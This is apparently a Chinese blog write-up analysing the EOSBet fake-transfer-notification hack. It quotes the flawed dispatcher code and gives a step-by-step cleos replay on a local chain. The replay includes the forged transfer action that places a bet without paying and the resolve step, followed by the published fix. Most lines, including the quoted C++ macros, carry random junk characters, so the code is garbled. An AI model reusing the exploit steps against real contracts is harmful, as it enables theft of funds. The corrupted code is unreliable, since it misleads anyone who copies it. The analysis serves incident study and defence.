文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis' `: j/ o7 m: j) n" G0 ~- H H
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。3 |/ x4 F; q4 a. K C' b& I
. z5 | H+ s' p8 }+ n
0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \3 D* ]/ _ K' ^# ?% j3 r) b7 ^
extern "C" { \! F6 @) g$ e7 W; m
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \. j" k/ ~& P* c4 v1 T8 x
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \/ V0 g% N2 h4 R+ n
} \
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \% z+ }6 G, D& G0 h7 R. h
EOSIO_API( TYPE, MEMBERS ) \
} \: `+ m: M! Y$ G2 O' B# e/ k
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \0 r* D1 _! A# O* J2 b$ g% x4 h1 Z
} \3 F4 R" K! }- u* s3 G
} \. \/ y/ k7 O% S4 I7 x% h, S
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码2 |! D Q+ U6 h3 X
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \( a3 h6 _+ X' S* z0 h
switch( action ) { \, ^5 e, U! a M. k$ U8 ^
EOSIO_API( TYPE, MEMBERS ) \9 i, _: G _+ c2 P- x. @
} \
}0 c( u$ t9 p( g$ T0 Q8 R/ P1 n
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。) G1 q! A( q: {3 m# j- q& ^! g; m+ ?
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。% v, ?3 V2 {$ Y+ s" b6 F' ^/ a
0x02 攻击复盘
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio& l" G7 A+ K9 K) J9 w
# 初始化合约* y6 l! B$ u- ^
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户* _3 R3 k' x- i$ ^9 a" |
#创建游戏账户和开奖账户2 `, I6 ~+ u! \* X
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk. C- N7 ~4 t; D7 u7 Y2 S9 M/ Q
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk/ G7 o& r3 ?9 F$ _* f6 L
#创建攻击者账户$ v7 z1 b, \3 G( w* `+ M' |: _
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk7 c3 o! D' L* j7 d
设置账户随机权限和开奖权限
#设置权限" U4 q0 ^% l. c
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner. ]' c/ |8 x% g& D" R
#设置开奖权限( }& G$ w" O) \3 Y4 E" N3 L7 t6 p
cleos set action permission eosbetcasino eosbetdice11 resolvebet random' Q- y% }8 k& v) H, T2 t; t" d' n
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active. D: O9 \, G& ^) T) e- ~
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active

部署游戏合约并初始化 \2 N! h* i. q6 `! v
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice& L, {1 l# S _0 O3 u) V7 W& `
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单5 V( d4 q% }: E; u
cleos get table eosbetdice11 eosbetdice11 activebets7 R' i) D1 H5 S, P
! B# X2 y6 L' j/ S* R
可见,游戏订单已经生成,查询attacker和eosbetdice11账户
& R; r- d' n6 M7 p" d5 ?' p
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。4 Y9 X: x3 T& b4 _
最后对该订单进行开奖。' f0 F! c7 n6 m8 ]6 l: K" R% Z
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。% C( D [0 v6 U4 @2 \
0x03 后记& L1 [# S, C/ e6 N3 n i5 r
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers9 n0 q; b h. Z8 X# L
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \2 F; A4 J7 K6 U, Z" _/ U5 [
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \' D' u6 P8 T1 B5 `0 C2 D9 \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \& w/ A- E2 ?4 h( q% G B9 N
if( action == N(transfer)){ \
// 必须是eosio.token来调用合约自身的transfer函数& f5 ~, k# c2 Y% z6 |
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \0 v( \2 w( V/ j" T( ?6 J+ v
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \0 ~- _3 V) h8 z" }
} \# t# C7 y2 y+ @
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \- T4 r6 t2 p4 k* |# J$ \; q
}
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D& x: B5 F, I( @9 e
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
通知是否来自eosio.token,即只处理eosio.token发送的通知: [! p: L7 p0 g1 \
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
) ^9 {2 z% Z1 G
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");